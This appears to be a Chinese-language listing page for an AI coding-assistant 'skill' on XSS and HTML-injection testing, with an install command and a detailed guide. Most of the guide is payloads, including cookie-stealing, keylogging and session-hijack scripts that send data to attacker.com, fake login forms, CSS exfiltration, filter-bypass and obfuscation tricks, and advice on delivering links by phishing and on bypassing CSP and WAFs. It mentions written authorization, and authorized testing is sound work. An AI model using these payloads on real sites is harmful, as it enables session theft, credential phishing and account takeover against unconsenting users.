关于 Cross-Site Scripting and HTML Injection Testing
用于在 Web 应用中检测和验证存储型、反射型及 DOM 型 XSS 与 HTML 注入的安全测试技能,面向获授权的测试人员,涵盖检测、受控影响验证和修复报告。
主要功能
- 01存储型、反射型和 DOM 型 XSS 测试
- 02HTML 注入评估
- 03载荷与过滤绕过测试
- 04影响演示指导
- 05修复与 CSP 建议
适用场景
- 01评估 Web 表单和反射输入
- 02测试持久化评论和个人资料字段
- 03检查客户端 URL 处理
- 04编写获授权的漏洞报告
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill cross-site-scripting-and-html-injection-testing安装后在 Claude Code 中输入/cross-site-scripting-and-html-injection-testing确认已加载。
详细介绍
跨站脚本和 HTML 注入测试
目的
对 Web 应用执行全面的客户端注入漏洞评估,以识别 XSS 和 HTML 注入缺陷,演示会话劫持和凭据窃取技术,并验证输入清理和输出编码机制。此技能可系统地检测和利用存储型、反射型和基于 DOM 的攻击向量。
输入 / 前置条件
所需访问权限
- 带有用户输入字段的目标 Web 应用 URL
- 用于分析请求的 Burp Suite 或浏览器开发者工具
- 可创建测试账户,以进行存储型 XSS 测试
- 启用了 JavaScript 控制台的浏览器
技术要求
- 了解浏览器上下文中的 JavaScript 执行
- 了解 HTML DOM 结构和操作
- 熟悉 HTTP 请求/响应标头
- 了解 Cookie 属性和会话管理
法律前置条件
- 获得安全测试的书面授权
- 明确范围,包括目标域名和功能
- 就所捕获的任何会话数据的处理方式达成一致
- 制定事件响应流程
输出 / 交付物
- 含严重性分类的 XSS/HTMLi 漏洞报告
- 展示影响的概念验证载荷
- 会话劫持演示(受控环境)
- 含 CSP 配置的修复建议
核心工作流
阶段 1:漏洞检测
识别输入反射点
定位用户输入会在响应中反射的位置:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
基础检测测试
插入测试字符串,观察应用行为:
<test123>
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
监测以下情况:
- 未经编码的原始 HTML 反射
- 部分编码(部分字符已转义)
- 在浏览器控制台中执行 JavaScript
- 检查器中可见的 DOM 修改
确定 XSS 类型
存储型 XSS 指标:
- 页面刷新后输入仍然存在
- 其他用户也能看到注入的内容
- 内容存储在数据库/文件系统中
反射型 XSS 指标:
- 输入仅出现在当前响应中
- 需要受害者点击特制 URL
- 不会跨会话持久存在
基于 DOM 的 XSS 指标:
- 输入由客户端 JavaScript 处理
- 服务器响应中不包含载荷
- 攻击完全在浏览器中发生
阶段 2:存储型 XSS 利用
识别存储位置
将持久化用户内容的区域作为目标:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
构造持久化载荷
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
阶段 3:反射型 XSS 利用
构造恶意 URL
构建包含 XSS 载荷的 URL:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
传递方式
向受害者传递反射型 XSS 的技术:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
阶段 4:基于 DOM 的 XSS 利用
识别易受攻击的接收器
定位处理用户输入的 JavaScript 函数:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
识别来源
定位用户可控数据进入应用的位置:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS 载荷
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
阶段 5:HTML 注入技术
反射型 HTML 注入
无需 JavaScript 即可修改页面外观:
<h1>SITE HACKED</h1>
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
存储型 HTML 注入
持久化操纵内容:
<marquee>Important Security Notice: Your account is compromised!</marquee>
<style>body{background:red !important;}</style>
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
阶段 6:过滤器绕过技术
标签和属性变体
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
编码绕过
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>\u0061lert(1)</script>
<img src=x onerror=\u0061\u006cert(1)>
JavaScript 混淆
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
空白字符和注释绕过
<img src=x onerror
=alert(1)>
<script>/**/alert(1)/**/</script>
<img src=x onerror="alert(1)"
快速参考
XSS 检测清单
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
常见 XSS 载荷
| 上下文 | 载荷 |
|---|---|
| HTML 正文 | <script>alert(1)</script> |
| HTML 属性 | "><script>alert(1)</script> |
| JavaScript 字符串 | ';alert(1)// |
| JavaScript 模板 | ${alert(1)} |
| URL 属性 | javascript:alert(1) |
| CSS 上下文 | </style><script>alert(1)</script> |
| SVG 上下文 | <svg onload=alert(1)> |
Cookie 窃取载荷
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
会话劫持模板
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
约束和防护措施
操作边界
- 切勿注入可能损害生产系统的载荷
- 仅将 Cookie/会话捕获用于演示目的
- 避免使用可能传播给非目标用户的载荷(蠕虫行为)
- 不要超出范围要求窃取真实用户数据
技术限制
- 内容安全策略(CSP)可能会阻止内联脚本
- HttpOnly Cookie 会阻止 JavaScript 访问
- SameSite Cookie 属性会限制跨源攻击
- 现代框架通常会自动转义输出
法律和道德要求
- 测试前必须获得书面授权
- 立即报告严重的 XSS 漏洞
- 根据数据保护协议处理捕获的凭据
- 不得利用发现的漏洞进行未经授权的访问
示例
示例 1:评论区中的存储型 XSS
场景:博客评论功能存在存储型 XSS 漏洞
检测:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
观察结果:评论会被渲染,且脚本会对所有查看者执行
利用载荷:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
结果:每位查看该评论的用户都会将其会话 Cookie 发送到攻击者的服务器。
示例 2:通过搜索参数实现的反射型 XSS
场景:搜索结果页面会反射未经编码的查询内容
存在漏洞的 URL:
https://shop.example.com/search?q=test
检测测试:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
构造的攻击 URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
投递方式:通过钓鱼邮件将 URL 发送给目标用户。
示例 3:通过哈希片段实现的基于 DOM 的 XSS
场景:JavaScript 读取 URL 哈希并将其插入 DOM
存在漏洞的代码:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
攻击 URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
结果:脚本完全在客户端执行;载荷不会经过服务器。
示例 4:通过 JSONP 端点绕过 CSP
场景:网站设置了 CSP,但允许受信任的 CDN
CSP 标头:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
绕过方法:在受信任的域上查找 JSONP 端点:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
结果:利用允许的脚本来源绕过 CSP。
故障排除
| 问题 | 解决方案 |
|---|---|
| 脚本未执行 | 检查 CSP 是否阻止了脚本;验证编码;尝试事件处理程序(img、svg onerror);确认已启用 JS |
| 载荷出现但未执行 | 使用 " 或 ' 跳出属性上下文;检查是否位于注释内;测试不同上下文 |
| 无法访问 Cookie | 检查 HttpOnly 标志;尝试 localStorage/sessionStorage;使用 no-cors 模式 |
| CSP 阻止载荷 | 在白名单域中查找 JSONP;检查是否存在 unsafe-inline;测试 base-uri 绕过方式 |
| WAF 阻止请求 | 尝试不同编码方式;拆分载荷;使用空字节;改变大小写 |